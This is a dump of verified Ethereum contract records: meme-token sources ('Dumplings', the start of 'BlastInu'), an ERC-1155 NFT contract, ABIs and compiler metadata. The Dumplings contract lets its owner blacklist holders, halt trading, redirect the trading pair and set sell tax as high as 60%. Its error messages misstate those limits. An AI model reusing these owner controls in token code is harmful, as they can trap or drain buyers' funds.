_feeAddr2 = 5; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(20).div(1000); _maxWalletSize = _tTotal.mul(20).div(1000); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function addbot(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

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v0.8.16+commit.07a7930e

Default

None

ipfs://bae7848e40c3a9790a4d0c98a2ca747165d475b5a3a6b796846b5ca88264dc2c

Dumplings

Dumplings.sol

0x3cd8d7c33377d718e2cd96b05a0a0b9066155460

Solidity

/* TG : https://t.me/DumplingsERC Twitter: https://twitter.com/DumplingsERC Website: https://www.dumplings.live */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Dumplings is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Dumplings"; string private constant _symbol = "\u9EBA\u5B50"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 2; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 2; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable public _developmentAddress=payable(0x260De3Dcc148ed55b8188cE0976E6E6F8C3Ab7d8); address payable public _marketingAddress=payable(0x260De3Dcc148ed55b8188cE0976E6E6F8C3Ab7d8); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function Launch(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function _initiateMM(address _pairaddress,address _router) external onlyOwner { uniswapV2Pair = _pairaddress; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router); uniswapV2Router = _uniswapV2Router; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function addBots(address[] memory bots_,bool _status) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = _status; } } function removeBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 30, "Buy tax must be between 0% and 98%"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 60, "Sell tax must be between 0% and 98%"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function _setupWallets(address _marketing , address _developement) external onlyOwner{ _marketingAddress = payable(_marketing); _developmentAddress = payable(_developement); } }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"Launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_developmentAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pairaddress","type":"address"},{"internalType":"address","name":"_router","type":"address"}],"name":"_initiateMM","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_developement","type":"address"}],"name":"_setupWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"removeBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.18+commit.87f61d96

Default

None

ipfs://89c507db47c0e4cc119aa5cf48961041ffbe3955df09903448dea8e302c0f1db

NFTContract

contracts/opensea/NFT1155.sol

0x52d5bb98845b5f383a24940042b8ea0269f6f6f9

Solidity

pragma solidity ^0.8.0; contract NFTContract is ERC1155, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; using Strings for uint256; string private _baseURI; constructor(string memory baseURI) ERC1155("") { _baseURI = baseURI; } function uri(uint256 tokenId) public view override returns (string memory) { return bytes(_baseURI).length > 0 ? string(abi.encodePacked(_baseURI, tokenId.toString(), ".json")) : ""; } function createNFT(address account, uint256 tokenId, uint256 amount) onlyOwner public returns (uint256) { _mint(account, tokenId, amount, ""); return tokenId; } }

[{"inputs":[{"internalType":"string","name":"baseURI","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"indexed":false,"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"TransferBatch","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"TransferSingle","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"value","type":"string"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"URI","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"}],"name":"balanceOfBatch","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"createNFT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeBatchTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]

v0.8.18+commit.87f61d96

0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000005968747470733a2f2f62616679626569627972757a62616773326d6732736d656b737a763676676a7570716a33706f6d376575746a77666d35356d7633687975353672752e697066732e6e667473746f726167652e6c696e6b2f00000000000000

Default

None

ipfs://db40a5b899acd2d42456ca2f829f1ef553c556ea9c14994f479380ffe877d721

BlastInu

BlastInu.sol

0x8a9c6ed0e3751a51dd036ebaeb15fd984a6def03

Solidity

/** @@@@@@@@@@@@@@@@@@@ @ @@@@@@@@@@@@@% .@@@@@@@@@@@@@@@. @@@@@@@@@@@@@@@@* @@@@@@@@@@@@@@@@@@@@@@@@* @@@@ @@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ @#%@ :@%@@ @ %#@@ @@ *#%@= @@@= @@@@ @%@@ @@@@ @%%@ @@@ @#@* @@%@ @@@@@@@@@@@# @@#@ @@#@ :@#@+ @@%%@@@@@@@@@@@@@@ @@@@ @%@@ @@@@@@@@@% @%@@ @%@@ @@@@@ @@@@ @@@@@@@@@@@@@@%%@@ @@%@. @@%@ @%@@ @@%@ @@@@ @@@@@@- @@%@ @#@@ @%@@ =@#%# @@%@ :@#%* @@#@- @@@@@@@%@@ @@@@ @@%@ @@##@@@@@@@@@@@@@@@@ @@@%@@@@@@@@@@@@@ @%@@ @@@@#@@ @@@@@@@@@@@@@@@@@@@ @%@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@ @@@@ *@@@@ @@@@@@@@@@@@@@@@@- @@@@ https://t.me/blast_inu */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address internal _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, 